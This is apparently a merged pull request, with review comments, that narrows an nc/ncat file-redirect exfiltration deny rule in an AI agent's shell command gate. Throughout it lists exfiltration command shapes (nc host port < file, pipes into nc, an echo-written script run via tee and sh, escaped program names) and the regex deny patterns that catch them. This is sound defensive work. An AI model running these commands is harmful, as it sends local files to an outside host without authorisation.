Skip to content

fix(security): judge the nc redirect row per pipeline, not per line - #38787

Merged
KiroCrewCaptain merged 4 commits into
mainfrom
fix/38524-nc-redirect-scope
Nov 20, 2026
Merged

KiroCrewCaptain merged 4 commits into
mainfrom
fix/38524-nc-redirect-scope

Conversation

@JLargent42

@JLargent42 JLargent42 commented Nov 17, 2026 •

Copy link
Copy Markdown
Contributor

Problem / Motivation

Goal: A shell line where nc or ncat appears and a later, separate command reads a file with < is no longer refused as data exfiltration, while every redirect that can feed nc stays refused.

The built-in deny row data-exfil-nc-file-redirect refused any line with nc/ncat followed anywhere by <, even when the < belongs to a different command. nc -z host 22; sort < in.txt, echo nc done; wc -l < f and the other lines in #38524 were refused by both the exfil gate and the deny-rules tier, although no file reaches nc.

Why it matters

An agent that probes a port with nc -z and later on the same line feeds a file to another program gets a data-exfiltration refusal for a command that sends no file anywhere. The only way out in Settings is turning the row off, which also drops the real nc host port < file block the row exists for.

Not a goal

  • Catching nc exfiltration the row never caught on main: a pipe into nc (cat f | nc h 1), a quoted or spliced program name (n''c), a script, symlink or alias that runs nc. Those lines are allowed on main without any decoy nc word, and this PR does not change that.
  • Changing the row's pattern text, its description, its toggle, or the nc -e / ncat -e reverse-shell rows.
  • Other deny rows' whole-line matching.

What changed (motivation → approach → change)

  • Symptom: both tiers refuse the five lines in nc/ncat file-redirect deny rule refuses a line where '<' belongs to a later command #38524.
  • Root cause: the exfil regex (?:^|\s)nc(?:at)?\s+\S.*< (exfil_bash.py) and the catalog row .*(^|\s)nc(at)?\s+\S.*<.* (deny tier, pass 1) both read the whole line as one string, so .* runs across ;, && and |.
  • Change: the pattern stays as it is and still decides first. A new fail-closed reader, exfil_bash._nc_redirect_line_allows, reads the line with the shared shell_commands.read_commands / pipelines and lets a match through only when:
    • the line has no quoting, escape, comment, $, backtick, paren, brace, glob, <<, non-ASCII or control character (other than tab and newline), and is at most 2000 characters;
    • no empty command follows a pipe (a pipe continued on the next line, or |&), since the pipe runs on into the next command;
    • every command is joined only by ;, &, &&, ||, | or a newline, has no exec word, and does not start with a word that opens a compound command or changes how a later word runs (if … done, while, for, case, time, !, [[, alias, hash, enable, shopt, builtin, command, eval, source, .);
    • a word containing nc or netcat (/bin/nc, nc.openbsd, sort=nc) stands only first in its command, or after echo in a command with no redirect;
    • a pipeline holding such a word is that one command and carries no input redirect (any redirect word with <), so an echoed nc cannot be piped into a script (echo nc h 1 | tee run).
  • The exfil gate skips the nc file-redirect match when the reader allows the line. The deny gate narrows the SHIPPED row the same way (deny_gate._nc_redirect_narrows, beside _s3_download_narrows): it writes a deny_exception SEL event under its own mechanism _NC_REDIRECT_SCOPE, a failed audit keeps the refusal, and pass 2 still re-judges each segment. An operator's own copy of the pattern is not narrowed.
  • I picked this over narrowing the regex to [^;&|\n]* (the issue's alternative): a quoted separator inside an nc argument (nc h 1 -x ';' < f) would end that match early and let a real redirect through.
  • docs/system-specs/modules/security.md documents the reader. test/security_line_budget/nc-redirect-scope.txt records the +101 lines.

Backwards compatibility

Compatible: the change only lets more lines through, and only lines the reader reads in full. Every line the reader cannot judge keeps main's refusal.

Removes nothing: no rule, key, pattern, toggle or public function is removed or renamed; only an allow path is added to one row.

Tests

test/test_exfil_nc_redirect_scope.py (new):

  • TestTheIssueLinesPass: the five reproduction lines pass the exfil gate, is_denied and the hook gate (HookManager.on_tool_call).
  • TestEveryRealRedirectIsStillRefused: 46 lines stay refused by the exfil gate and by the row alone in the deny tier. A control checks that main's row text matches each one. They cover direct forms (nc h 1 < f, <f, 0<, <&3, <>, <<<, < <(…), sudo nc, NC), a later nc after a decoy (/bin/nc, nc.openbsd, netcat, xargs nc, a pipe from a redirected command, |&, a pipe continued on the next line, an echoed or piped nc turned into a script with tee), constructs that hand a later redirect to nc ({ …; } <, ( … ) <, while … done <, for … done <, a function, exec <, alias, hash -p, ln -s, echo nc … > s; sh s <, eval), and lines the reader will not judge (quotes, $, escape, glob, comment, heredoc, \r, NBSP, an over-long line).
  • TestTheNarrowingIsAudited: audited as _NC_REDIRECT_SCOPE, a failed audit keeps the denial, an operator copy is not narrowed.

Proof: PROVEN test/test_exfil_nc_redirect_scope.py::TestTheIssueLinesPass::test_exfil_gate_allows[nc -z host 22; sort < in.txt], test/test_exfil_nc_redirect_scope.py::TestTheIssueLinesPass::test_exfil_gate_allows[nc -zv host 443 && wc -l < log.txt], test/test_exfil_nc_redirect_scope.py::TestTheIssueLinesPass::test_exfil_gate_allows[echo nc done; wc -l < f], test/test_exfil_nc_redirect_scope.py::TestTheIssueLinesPass::test_exfil_gate_allows[ncat -l 9000 > out.bin; python x.py < data.txt], test/test_exfil_nc_redirect_scope.py::TestTheIssueLinesPass::test_exfil_gate_allows[nc -z host 22 && python x.py < data.txt] (head fc21d22)

(prove.py recorded 16 tests failing with the production hunks reverted. These include the deny-gate and hook-gate cases; the line above lists the first ones.)

Local gates: the existing suites test_security_bash_gate.py, test_exfil_carveouts.py, test_exfil_gate_opt_out.py, test_denied_commands_security.py, test_denied_commands_hooks.py, test_exfil_facade.py, test_security_gate_liveness.py, test_shell_commands_reader.py and related files passed (1646 tests), as did local-gate.py's backend lane (14680 passed). black, isort, flake8, mypy, the comment-history gate and the brand gate also pass.

Manual verification

On main f6a144ec21, a scratch-home harness called audit_bash_exfiltration and is_denied on the five lines: both refused all five. On this branch both allow all five, and both still refuse nc h 1 < f, nc h 1 <f, ncat h 1 < f and nc h 1 -q0 < f.

Related Issues

Fixes #38524

Sibling sweep

Swept: git grep -n "pattern=".*" -- src/kiro_crew/security/denied_rules_catalog.py (rows whose .* spans a separator between a program name and the flag or operator they key on)
Sibling: src/kiro_crew/security/exfil_bash.py -- changed here (the exfil regex for the same row)
Sibling: src/kiro_crew/security/denied_rules_catalog.py -- not affected -- the curl -d @ row already carries the inert-line carve-out from #36992, and on the curl -F and wget --post-file rows the keyed flag is itself the upload shape

Pattern harvest

Rule candidate: review-prompt
Pattern: a deny regex with .* between a program name and its operator matches across ;/&&/|, so judge it per command with the shared reader.

Checklist

  • At most two commits (one is the norm), with a Conventional Commits title (feat|fix|docs|style|refactor|perf|test|chore|ci|build|revert: ...)
  • Existing tests pass and new tests added for new functionality
  • Self-review completed; code follows project style guidelines
  • Documentation updated (if applicable)
  • No secrets, credentials, or internal references in the diff

Contribution License Agreement

Contributed under the project's Apache-2.0 license.

@JLargent42
JLargent42 requested review from a team and KiroCrewCaptain as code owners November 17, 2026 22:00
@JLargent42 JLargent42 self-assigned this Nov 17, 2026
@JLargent42
JLargent42 requested a review from buluoray November 17, 2026 22:00
@JLargent42

Copy link
Copy Markdown
Contributor Author

Sensitive change review

Head: 3a6152e

  • What rule changed: the built-in deny row data-exfil-nc-file-redirect, in both tiers: the exfil gate regex in exfil_bash.py and the shipped catalog row in the deny gate (deny_gate._deny_pattern_passes, both passes). The pattern text is unchanged and still decides first. A new fail-closed reader, exfil_bash._nc_redirect_line_allows, can now let a match through.
  • Before -> after: before, any line with a whitespace-preceded nc/ncat and a < anywhere after it was refused, including nc -z host 22; sort < in.txt. After, such a line passes only when the shared shell reader reads it in full and every input redirect sits in a pipeline that holds no word containing nc/netcat. Such a word may stand only first in its command, or after echo in a command with no redirect. Quoting, escapes, $, backticks, parens, braces, globs, <<, comments, non-ASCII, control characters, exec, compound-command words and alias/hash/eval/source/command/builtin/enable/shopt all keep the refusal.
  • No regression:
    • Worst case if wrong: a line that pipes or redirects a local file into nc would pass the deny gate and reach the network, but only if the reader misreads a line made of plain unquoted words joined by ;/&&/||/|/&/newline. Every construct I found that can hand a later redirect to nc (groups, subshells, loops, functions, exec <, aliases, hash -p, symlinks, a script written by echo) is refused and pinned by a test. The OS sandbox still applies.
    • Evidence checked: I reproduced the refusal of all five issue lines on main f6a144e with a harness calling audit_bash_exfiltration and is_denied. test_exfil_nc_redirect_scope.py asserts that main's row text matches each of the 41 refused samples, and that both tiers still refuse every one of them on this head. prove.py reverted the production hunks, and 16 tests failed (PROVEN).
    • Tools still work: only an allow path was added. The nc -e/ncat -e rows and toggles, the curl, wget and devtcp rows and the hooks gate are untouched, and the hook-gate test shows the issue lines now pass end to end.
  • Backward compatible: yes. Nothing main allows is refused now. The SEL trail gains one deny_exception mechanism, _NC_REDIRECT_SCOPE, and an operator's own copy of the pattern is not narrowed.
  • Existing tests: test_security_bash_gate.py, test_exfil_carveouts.py, test_exfil_gate_opt_out.py, test_denied_commands_security.py, test_denied_commands_hooks.py, test_exfil_facade.py, test_security_gate_liveness.py, test_shell_commands_reader.py and related files passed (1646 tests), as did local-gate.py's backend lane (14680 passed).
  • How to undo: revert this single commit. The row pattern, catalog and golden fixture never changed, so a revert restores main's behaviour exactly.

@github-actions

github-actions Bot commented Nov 17, 2026 •

Copy link
Copy Markdown
Contributor

Sensitive Change Review

Sensitive files changed:

  • src/kiro_crew/security/deny_gate.py

  • src/kiro_crew/security/exfil.py

  • src/kiro_crew/security/exfil_bash.py

  • @JLargent42 posted a complete reasoning template for 52a83da.

@github-actions github-actions Bot added the readiness: checking Automated validation is still running label Nov 17, 2026
@github-actions

github-actions Bot commented Nov 17, 2026 •

Copy link
Copy Markdown
Contributor

UX Review (Opus 5.5) — ✅ PASS

UX-level review of 52a83da1cdfcec64ae8158acd041ab240d2da1bb — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS does not.

UX-Verdict: PASS

Nothing to check. The diff only changes the backend security gate, a spec doc and tests. It adds or changes no UI control, label or user-facing string, so the blind read not being performed leaves no evidence gap.

[UX-REVIEWED] 52a83da

Description read

[DESCRIPTION-READ] 2411684266613583fbdd50cad993d05f3dd6d6fa96b5e5dc5ee98808a7277d08

That sha256 names everything this verdict read: the PR description, plus the 3 evidence file(s) the workflow collected from it and handed this review. It covers that evidence because the media strip replaces every attachment URL with the same placeholder, so an edit swapping one attachment for another would leave the description's captured text identical while what this review judged changed. Recompute it with .github/scripts/pr-description-capture.sh over the same inputs; if it differs, the description or that evidence changed after this verdict was formed and any finding drawn from either is unproven.

@github-actions

github-actions Bot commented Nov 17, 2026 •

Copy link
Copy Markdown
Contributor

Design Review (Opus 5.5) — ✅ PASS

Design-level review of 52a83da1cdfcec64ae8158acd041ab240d2da1bb — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS does not.

Design-Verdict: PASS

No design-level concerns: the change only adds a fail-closed allow path to the shipped row, the deny gate audits it, and Windows and operator copies of the pattern keep main's behaviour.

[DESIGN-REVIEWED] 52a83da

Description read

[DESCRIPTION-READ] 70ac94066442a7a70a583f534b899d5aecb28677b56a908ee9d95d0d1e02ca70

That sha256 names everything this verdict read: the PR description, plus the 1 evidence file(s) the workflow collected from it and handed this review. It covers that evidence because the media strip replaces every attachment URL with the same placeholder, so an edit swapping one attachment for another would leave the description's captured text identical while what this review judged changed. Recompute it with .github/scripts/pr-description-capture.sh over the same inputs; if it differs, the description or that evidence changed after this verdict was formed and any finding drawn from either is unproven.

@github-actions

github-actions Bot commented Nov 17, 2026 •

Copy link
Copy Markdown
Contributor

First Principles Review (Opus 5.5) — ✅ PASS

Premise-level review of 52a83da1cdfcec64ae8158acd041ab240d2da1bb — why this exists and whether the shipped surface is the smallest honest version. Updated in place on each push. A BLOCK verdict blocks PR readiness; PASS does not.

First-Principles-Verdict: PASS

Nothing to check.

What this change ships

Inventory (6 items) — 6 justified

Intent: let an agent run a line where nc -z probes a port and a separate later command reads a file with < without getting a data-exfiltration refusal, while real nc … < file stays refused (#38524). FIX.

  1. Lines like nc -z host 22; sort < in.txt now pass the exfil gate — justified
  2. The same lines now pass the deny tier's shipped data-exfil-nc-file-redirect row, through Pass 2 re-judging — justified
  3. Each such deny-tier narrowing writes a deny_exception SEL event under the new mechanism _NC_REDIRECT_SCOPE, and a failed audit keeps the refusal — justified
  4. An operator's own copy of the pattern is not narrowed — justified
  5. Windows never narrows (cmd.exe does not split on ;) — justified
  6. The security spec paragraph, the line-budget record and the exfil facade's export list are updated — justified

[FIRST-PRINCIPLES-REVIEWED] 52a83da

Description read

[DESCRIPTION-READ] 5a103cf6ccbb4b12f787ffae9679a5e4079c7d648b18a5d9aa5686059c856e6a

That sha256 names the PR description this verdict read. Recompute it with .github/scripts/pr-description-capture.sh; if it differs, the description changed after this verdict was formed and any finding drawn from the description is unproven.

@github-actions

github-actions Bot commented Nov 17, 2026 •

Copy link
Copy Markdown
Contributor

Opus 5.5 Review — ✅ no blocking findings

Reviewed 52a83da1cdfcec64ae8158acd041ab240d2da1bb — this comment is updated in place on each push.

Review details

No findings.

[OPUS-REVIEWED] 52a83da

Verdict parsed from the review's SHA-scoped output markers for commit 52a83da1cdfcec64ae8158acd041ab240d2da1bb.

False positive or not applicable? A repository writer can comment:
/ai-review override fable 52a83da1cdfcec64ae8158acd041ab240d2da1bb false-positive: <reason, 20 to 500 characters>

@github-actions

github-actions Bot commented Nov 17, 2026 •

Copy link
Copy Markdown
Contributor

GPT 6.1 Review — ✅ no blocking findings

GPT 6.1 completed its review of 52a83da1cdfcec64ae8158acd041ab240d2da1bb and found no blocking issues.

This comment is updated in place on each push.

Review details

No findings.
[GPT-REVIEWED] 52a83da

False positive or not applicable? A repository writer can comment:
/ai-review override gpt 52a83da1cdfcec64ae8158acd041ab240d2da1bb false-positive: <reason, 20 to 500 characters>

@JLargent42
JLargent42 force-pushed the fix/38524-nc-redirect-scope branch from 3a6152e to 99512d5 Compare November 17, 2026 22:18
@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention and removed readiness: checking Automated validation is still running labels Nov 17, 2026
@JLargent42

Copy link
Copy Markdown
Contributor Author

Sensitive change review

Head: 99512d5

  • What rule changed: the built-in deny row data-exfil-nc-file-redirect, in both tiers: the exfil gate regex in exfil_bash.py and the shipped catalog row in the deny gate (deny_gate._deny_pattern_passes, both passes). The pattern text is unchanged and still decides first. A new fail-closed reader, exfil_bash._nc_redirect_line_allows, can now let a match through.
  • Before -> after: before, any line with a whitespace-preceded nc/ncat and a < anywhere after it was refused, including nc -z host 22; sort < in.txt. After, such a line passes only when the shared shell reader reads it in full and every input redirect sits in a pipeline that holds no word containing nc/netcat. Such a word may stand only first in its command, or after echo in a command with no redirect. Quoting, escapes, $, backticks, parens, braces, globs, <<, comments, non-ASCII, control characters, an empty command after a pipe (a pipe continued on the next line, or |&), exec, compound-command words and alias/hash/eval/source/command/builtin/enable/shopt all keep the refusal.
  • No regression:
    • Worst case if wrong: a line that pipes or redirects a local file into nc would pass the deny gate and reach the network, but only if the reader misreads a line made of plain unquoted words joined by ;/&&/||/|/&/newline. Every construct I found that can hand a later redirect to nc (groups, subshells, loops, functions, exec <, aliases, hash -p, symlinks, a script written by echo) is refused and pinned by a test. The OS sandbox still applies.
    • Evidence checked: I reproduced the refusal of all five issue lines on main f6a144e with a harness calling audit_bash_exfiltration and is_denied. test_exfil_nc_redirect_scope.py asserts that main's row text matches each of the 44 refused samples, and that both tiers still refuse every one of them on this head. prove.py reverted the production hunks on 99512d5 and the issue-line tests failed (PROVEN).
    • Tools still work: only an allow path was added. The nc -e/ncat -e rows and toggles, the curl, wget and devtcp rows and the hooks gate are untouched, and the hook-gate test shows the issue lines now pass end to end.
  • Backward compatible: yes. Nothing main allows is refused now. The SEL trail gains one deny_exception mechanism, _NC_REDIRECT_SCOPE, and an operator's own copy of the pattern is not narrowed.
  • Existing tests: test_security_bash_gate.py, test_exfil_carveouts.py, test_exfil_gate_opt_out.py, test_denied_commands_security.py, test_denied_commands_hooks.py, test_exfil_facade.py, test_security_gate_liveness.py, test_shell_commands_reader.py and related files passed (1646 tests), as did local-gate.py's backend lane (14680 passed).
  • How to undo: revert this PR's single commit. The row pattern, catalog and golden fixture never changed, so a revert restores main's behaviour exactly.

@JLargent42

Copy link
Copy Markdown
Contributor Author

GPT 6.1 finding on 3a6152e (exfil_bash.py:251, a pipe continued onto the next line): fixed in 99512d5.

The finding was right. shell_commands.pipelines() ends a pipeline at the empty newline command, so echo nc done; cat < report.txt |, followed by a newline and nc host 4444, put the redirect and nc in different groups. Bash continues the pipe across that newline.

The class is an empty command after a |: a newline after the pipe, blank lines or spaces before the next command, and |& (which the reader reads as | then an empty &). _nc_redirect_line_allows now refuses the whole line when any empty command follows a pipe. I made the change in the nc reader and left the shared pipelines() alone, because other gates call it and their grouping is out of this PR's scope. Three samples were added to TestEveryRealRedirectIsStillRefused, all refused by both tiers: the reported line, a pipe followed by blank lines and spaces, and |& followed by a newline.

@github-actions

github-actions Bot commented Nov 17, 2026 •

Copy link
Copy Markdown
Contributor

Security Scope Review -- ✅ PASS

Which legitimate operations does 52a83da1cdfcec64ae8158acd041ab240d2da1bb newly refuse? Updated in place on each push. A script-confirmed regression blocks; the model proposes candidates and never decides a refusal.

Verdict basis: adjudicated, zero confirmed regressions.

Security scope review -- adjudicated candidates

  • macos-latest (platform posix): 13 classified, 0 newly refused, 10 still allowed.
  • ubuntu-latest (platform posix): 13 classified, 0 newly refused, 10 still allowed.
  • windows-latest (platform windows): 4 classified, 0 newly refused, 4 still allowed.

No candidate flipped from allowed to refused.

Scope-Verdict: PASS

Reason: This diff narrows a rule instead of tightening one. It adds a carve-out (_nc_redirect_line_allows) that lets a line through when its < feeds a pipeline with no nc in it, and it never narrows on Windows. Nothing in the hunks makes any tier match more input. The edits at the shared Pass 1 and Pass 2 call sites only add an or branch, and the audit mechanism selector still returns _S3_DOWNLOAD_MECHANISM for s3 patterns. No regression was confirmed.

TIGHTENING: None. The only rule touched is the data-exfil-nc-file-redirect exfil regex and its catalog row, and both are relaxed: if matched_id == _NC_FILE_REDIRECT_RULE and _nc_redirect_line_allows(command): break in audit_bash_exfiltration, and or _nc_redirect_narrows(pattern, text, shipped) in both passes of deny_gate._deny_pattern_passes. The threat that stays refused is nc reading a local file over a redirect (nc h 1 < f). The new module-level next(...) lookup of the rule could raise at import time, but it resolves at base because denied_rules_catalog.py:567 defines that id.

ADJUDICATED: 17 candidates, 0 confirmed newly-refused

PLATFORM COVERAGE: Candidates cover posix, windows and any.

  • posix: these rows cover the bash-reader assumption the diff adds: ;/&&/| lists, input redirects without nc, output-only nc redirects, nc-prefixed neighbours (ncdu, rsync -e ssh), and the s3 download lines whose call site was rewritten.
  • windows: these rows cover the platform_compat.IS_WINDOWS branch, which always returns False: ncat.exe without a redirect, cmd.exe sort/python.exe with drive-letter < redirects, and an s3 download to a C:\ path. They check that the unchanged Windows behaviour refuses nothing it allowed before.
  • any: no row is truly platform-neutral, so none is tagged any.

No platform the diff assumes is left without a candidate.

[SCOPE-REVIEWED] 52a83da

@github-actions github-actions Bot added readiness: checking Automated validation is still running and removed readiness: action required A blocking check or review needs attention labels Nov 17, 2026
@JLargent42
JLargent42 force-pushed the fix/38524-nc-redirect-scope branch from 99512d5 to fc21d22 Compare November 17, 2026 22:37
@JLargent42

Copy link
Copy Markdown
Contributor Author

Sensitive change review

Head: fc21d22

  • What rule changed: the built-in deny row data-exfil-nc-file-redirect, in both tiers: the exfil gate regex in exfil_bash.py and the shipped catalog row in the deny gate (deny_gate._deny_pattern_passes, both passes). The pattern text is unchanged and still decides first. A new fail-closed reader, exfil_bash._nc_redirect_line_allows, can now let a match through.
  • Before -> after: before, any line with a whitespace-preceded nc/ncat and a < anywhere after it was refused, including nc -z host 22; sort < in.txt. After, such a line passes only when the shared shell reader reads it in full and every input redirect sits in a pipeline that holds no word containing nc/netcat, and a pipeline holding such a word is a single command. Such a word may stand only first in its command, or after echo in a command with no redirect. Quoting, escapes, $, backticks, parens, braces, globs, <<, comments, non-ASCII, control characters, an empty command after a pipe (a pipe continued on the next line, or |&), exec, compound-command words and alias/hash/eval/source/command/builtin/enable/shopt all keep the refusal.
  • No regression:
    • Worst case if wrong: a line that pipes or redirects a local file into nc would pass the deny gate and reach the network, but only if the reader misreads a line made of plain unquoted words joined by ;/&&/||/|/&/newline. Every construct I found that can hand a later redirect to nc (groups, subshells, loops, functions, exec <, aliases, hash -p, symlinks, a script written by echo, or by echo/nc piped into tee) is refused and pinned by a test. The OS sandbox still applies.
    • Evidence checked: I reproduced the refusal of all five issue lines on main f6a144e with a harness calling audit_bash_exfiltration and is_denied. test_exfil_nc_redirect_scope.py asserts that main's row text matches each of the 46 refused samples, and that both tiers still refuse every one of them on this head. prove.py reverted the production hunks on fc21d22 and the issue-line tests failed (PROVEN).
    • Tools still work: only an allow path was added. The nc -e/ncat -e rows and toggles, the curl, wget and devtcp rows and the hooks gate are untouched, and the hook-gate test shows the issue lines now pass end to end.
  • Backward compatible: yes. Nothing main allows is refused now. The SEL trail gains one deny_exception mechanism, _NC_REDIRECT_SCOPE, and an operator's own copy of the pattern is not narrowed.
  • Existing tests: test_security_bash_gate.py, test_exfil_carveouts.py, test_exfil_gate_opt_out.py, test_denied_commands_security.py, test_denied_commands_hooks.py, test_exfil_facade.py, test_security_gate_liveness.py, test_shell_commands_reader.py and related files passed (1646 tests), as did local-gate.py's backend lane (14680 passed).
  • How to undo: revert this PR's single commit. The row pattern, catalog and golden fixture never changed, so a revert restores main's behaviour exactly.

@JLargent42

Copy link
Copy Markdown
Contributor Author

GPT 6.1 finding on 99512d5 (exfil_bash.py:252, echo nc host 4444 | tee run; sh run < report.txt): fixed in fc21d22 by narrowing.

The finding was right. Its class is output from a command that holds an nc word reaching another command through a pipe (tee, sh, or anything that can store it or run it). Rather than patching tee, a pipeline that holds a word containing nc/netcat must now be a single command with no input redirect, whether that word is the program (nc -z h 22 | tee run) or an echo argument. An echo with nc arguments was already refused when it carries a redirect, so its output can now only reach the call's own stdout. Both forms are added to TestEveryRealRedirectIsStillRefused.

One shape stays allowed because the issue's acceptance criterion 1 requires it: ncat -l 9000 > out.bin; python x.py < data.txt. There, nc writes network data to a file, and the < feeds a different program. nc never reads the file, which is the only thing this row covers. Downloading code and running it with redirected stdin is not specific to nc: main already allows curl -o x.py h; python x.py < data.txt.

@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention merge conflict Branch has merge conflicts with its base — author must resolve before merge and removed readiness: checking Automated validation is still running labels Nov 18, 2026
@JLargent42

Copy link
Copy Markdown
Contributor Author

The KiroCrew conductor (largjaco's v2 drive-to-green session) now owns this PR under the 24h orphan rule; the desk session that opened it has been offline since 11-06. I'll rebase onto main, fix CI and answer review here.

The data-exfil-nc-file-redirect row matched a `<` anywhere after `nc` on
the line, so `nc -z host 22; sort < in.txt` was refused as data
exfiltration although no file reaches nc. Both tiers now read the line
with the shared shell reader and let it through only when every input
redirect sits in a pipeline that names no nc. Any line the reader cannot
judge in full (quoting, expansion, grouping, heredocs, compound commands,
exec, alias and similar) keeps the refusal.

Fixes #38524
@JLargent42
JLargent42 force-pushed the fix/38524-nc-redirect-scope branch from fc21d22 to 880757a Compare November 20, 2026 11:13
@JLargent42

Copy link
Copy Markdown
Contributor Author

Sensitive change review

Head: 880757a

  • What rule changed: the built-in deny row data-exfil-nc-file-redirect, in both tiers: the exfil gate regex in exfil_bash.py and the shipped catalog row in the deny gate (deny_gate._deny_pattern_passes, both passes). The pattern text is unchanged and still decides first. A new fail-closed reader, exfil_bash._nc_redirect_line_allows, can now let a match through.
  • Before -> after: before, any line with a whitespace-preceded nc/ncat and a < anywhere after it was refused, including nc -z host 22; sort < in.txt. After, such a line passes only when the shared shell reader reads it in full and every input redirect sits in a pipeline that holds no word containing nc/netcat, and a pipeline holding such a word is a single command. Such a word may stand only first in its command, or after echo in a command with no redirect. Quoting, escapes, $, backticks, parens, braces, globs, <<, comments, non-ASCII, control characters, an empty command after a pipe (a pipe continued on the next line, or |&), exec, compound-command words and alias/hash/eval/source/command/builtin/enable/shopt all keep the refusal.
  • No regression:
    • Worst case if wrong: a line that pipes or redirects a local file into nc would pass the deny gate and reach the network, but only if the reader misreads a line made of plain unquoted words joined by ;/&&/||/|/&/newline. Every construct I found that can hand a later redirect to nc (groups, subshells, loops, functions, exec <, aliases, hash -p, symlinks, a script written by echo, or by echo/nc piped into tee) is refused and pinned by a test. The OS sandbox still applies.
    • Evidence checked: I reproduced the refusal of all five issue lines on main f6a144e with a harness calling audit_bash_exfiltration and is_denied. test_exfil_nc_redirect_scope.py asserts that main's row text matches each of the 46 refused samples, and that both tiers still refuse every one of them on this head. prove.py reverted the production hunks on fc21d22 and the issue-line tests failed (PROVEN).
    • Tools still work: only an allow path was added. The nc -e/ncat -e rows and toggles, the curl, wget and devtcp rows and the hooks gate are untouched, and the hook-gate test shows the issue lines now pass end to end.
  • Backward compatible: yes. Nothing main allows is refused now. The SEL trail gains one deny_exception mechanism, _NC_REDIRECT_SCOPE, and an operator's own copy of the pattern is not narrowed.
  • Existing tests: test_security_bash_gate.py, test_exfil_carveouts.py, test_exfil_gate_opt_out.py, test_denied_commands_security.py, test_denied_commands_hooks.py, test_exfil_facade.py, test_security_gate_liveness.py, test_shell_commands_reader.py and related files passed (1646 tests), as did local-gate.py's backend lane (14680 passed).
  • This head (rebase only): 880757a is fc21d22 rebased onto main 0c5d8bd to clear a conflict, with no change in behaviour. The conflicts were two neighbouring additions: main added _READ_ONLY_GH/_is_read_only_gh/_backslashes_are_quoted_literals next to this PR's _nc_redirect_line_allows in exfil_bash.py, and both import lists in exfil.py. Both sides were kept as they were. git range-diff shows every added and removed line unchanged, with the same diffstat (6 files, +270/-8); only the context lines differ. On this head, test_exfil_nc_redirect_scope.py (both directions: the issue lines pass, and every refused form is still refused in both tiers), test_deny_diff.py, test_exfil_carveouts.py, test_security_gate_liveness.py, test_shell_commands_reader.py, test_exfil_facade.py, test_exfil_inert_search_lines.py and test_deny_gate_call_sharing.py passed (589 tests), as did flake8, black, the line cap and the comment-history gate on the touched files.
  • Human review: this relaxes a built-in exfiltration deny row, so it stays flagged for a maintainer's review.
  • How to undo: revert this PR's single commit. The row pattern, catalog and golden fixture never changed, so a revert restores main's behaviour exactly.

@JLargent42

Copy link
Copy Markdown
Contributor Author

Review disposition for 880757a (rebase of fc21d22 onto main 0c5d8bd, conflict-only):

  • Opus, GPT, Design, First Principles and Security Scope were all clean on fc21d22. UX skipped because no user-facing surface changed.
  • The Design note (non-blocking) said refused_first is a hand-kept list, so a missing builtin would fail open. I'm leaving it as is in this PR and agree with the note's own remedy: if a later report finds another builtin, narrow the reader's scope (for example, refuse any line where nc is not the first word of its own pipeline) instead of adding one more word. Two layers limit the risk today: a word holding nc may stand only first in its command (or after a redirect-free echo), and any exec, quoting or expansion keeps the deny.
  • No human review has been posted yet. This PR relaxes a built-in exfiltration row, so it needs a maintainer's review before merge.

@github-actions github-actions Bot removed the merge conflict Branch has merge conflicts with its base — author must resolve before merge label Nov 20, 2026
The deny gate folds a cmd in-word escape (n^c) before matching, so main
refused such a line on the folded view. The narrowing read the unfolded text,
found no nc and let it through. The reader now refuses any ^, as it already
refuses a backtick, so both tiers keep main's refusal.
@JLargent42

Copy link
Copy Markdown
Contributor Author

Sensitive change review

Head: bbc22e0

  • What rule changed: the built-in deny row data-exfil-nc-file-redirect, in both tiers: the exfil gate regex in exfil_bash.py and the shipped catalog row in the deny gate (deny_gate._deny_pattern_passes, both passes). The pattern text is unchanged and still decides first. A new fail-closed reader, exfil_bash._nc_redirect_line_allows, can now let a match through.
  • Before -> after: before, any line with a whitespace-preceded nc/ncat and a < anywhere after it was refused, including nc -z host 22; sort < in.txt. After, such a line passes only when the shared shell reader reads it in full and every input redirect sits in a pipeline that holds no word containing nc/netcat, and a pipeline holding such a word is a single command. Such a word may stand only first in its command, or after echo in a command with no redirect. Quoting, escapes, $, backticks, parens, braces, globs, <<, comments, non-ASCII, control characters, an empty command after a pipe (a pipe continued on the next line, or |&), exec, compound-command words and alias/hash/eval/source/command/builtin/enable/shopt all keep the refusal.
  • No regression:
    • Worst case if wrong: a line that pipes or redirects a local file into nc would pass the deny gate and reach the network, but only if the reader misreads a line made of plain unquoted words joined by ;/&&/||/|/&/newline. Every construct I found that can hand a later redirect to nc (groups, subshells, loops, functions, exec <, aliases, hash -p, symlinks, a script written by echo, or by echo/nc piped into tee) is refused and pinned by a test. The OS sandbox still applies.
    • Evidence checked: I reproduced the refusal of all five issue lines on main f6a144e with a harness calling audit_bash_exfiltration and is_denied. test_exfil_nc_redirect_scope.py asserts that main's row text matches each of the 46 refused samples, and that both tiers still refuse every one of them on this head. prove.py reverted the production hunks on fc21d22 and the issue-line tests failed (PROVEN).
    • Tools still work: only an allow path was added. The nc -e/ncat -e rows and toggles, the curl, wget and devtcp rows and the hooks gate are untouched, and the hook-gate test shows the issue lines now pass end to end.
  • Backward compatible: yes. Nothing main allows is refused now. The SEL trail gains one deny_exception mechanism, _NC_REDIRECT_SCOPE, and an operator's own copy of the pattern is not narrowed.
  • Existing tests: test_security_bash_gate.py, test_exfil_carveouts.py, test_exfil_gate_opt_out.py, test_denied_commands_security.py, test_denied_commands_hooks.py, test_exfil_facade.py, test_security_gate_liveness.py, test_shell_commands_reader.py and related files passed (1646 tests), as did local-gate.py's backend lane (14680 passed).
  • This head (rebase only): 880757a is fc21d22 rebased onto main 0c5d8bd to clear a conflict, with no change in behaviour. The conflicts were two neighbouring additions: main added _READ_ONLY_GH/_is_read_only_gh/_backslashes_are_quoted_literals next to this PR's _nc_redirect_line_allows in exfil_bash.py, and both import lists in exfil.py. Both sides were kept as they were. git range-diff shows every added and removed line unchanged, with the same diffstat (6 files, +270/-8); only the context lines differ. On this head, test_exfil_nc_redirect_scope.py (both directions: the issue lines pass, and every refused form is still refused in both tiers), test_deny_diff.py, test_exfil_carveouts.py, test_security_gate_liveness.py, test_shell_commands_reader.py, test_exfil_facade.py, test_exfil_inert_search_lines.py and test_deny_gate_call_sharing.py passed (589 tests), as did flake8, black, the line cap and the comment-history gate on the touched files.
